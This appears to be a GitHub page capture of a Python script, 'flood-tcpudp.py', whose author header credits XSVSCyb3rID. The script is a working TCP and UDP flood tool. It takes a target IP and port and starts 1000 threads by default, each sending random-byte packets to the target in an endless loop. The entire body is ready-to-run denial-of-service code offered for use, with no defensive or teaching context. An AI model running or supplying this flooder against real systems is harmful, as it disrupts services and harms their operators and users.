-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathflood-tcpudp.py
64 lines (57 loc) · 1.61 KB
/
flood-tcpudp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
# Tools : Flood TCP & UDP.
# Author : XSVSCyb3rID
# Sites : https://xsvscyb3r.id
# Email : [email protected]
# Github : github.com/XSVSCyb3rID
import argparse
import random
import socket
import threading
ap = argparse.ArgumentParser()
ap.add_argument("-i", "--ip", required=True, type=str, help="Host ip")
ap.add_argument("-p", "--port", required=True, type=int, help="Port")
ap.add_argument("-c", "--choice", type=str, default="y", help="UDP(y/n)")
ap.add_argument("-t", "--times", type=int, default=59999, help="Packets per one connection")
ap.add_argument("-th", "--threads", type=int, default=1000, help="Threads")
args = vars(ap.parse_args())
print("#-->> Code By XSVSCyb3rID <<--#")
print("#-->> FLOOD TCP & UDP <<--#")
ip = args['ip']
port = args['port']
choice = args['choice']
times = args['times']
threads = args['threads']
def run():
data = random._urandom(1024)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (str(ip),int(port))
for x in range(times):
s.sendto(data,addr)
print(i +" Sent...!!! ")
except:
print("[!] Error...!!! ")
def run2():
data = random._urandom(16)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i +" Sent...!!! ")
except:
s.close()
print("[*] Error...!!! ")
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
else:
th = threading.Thread(target = run2)
th.start()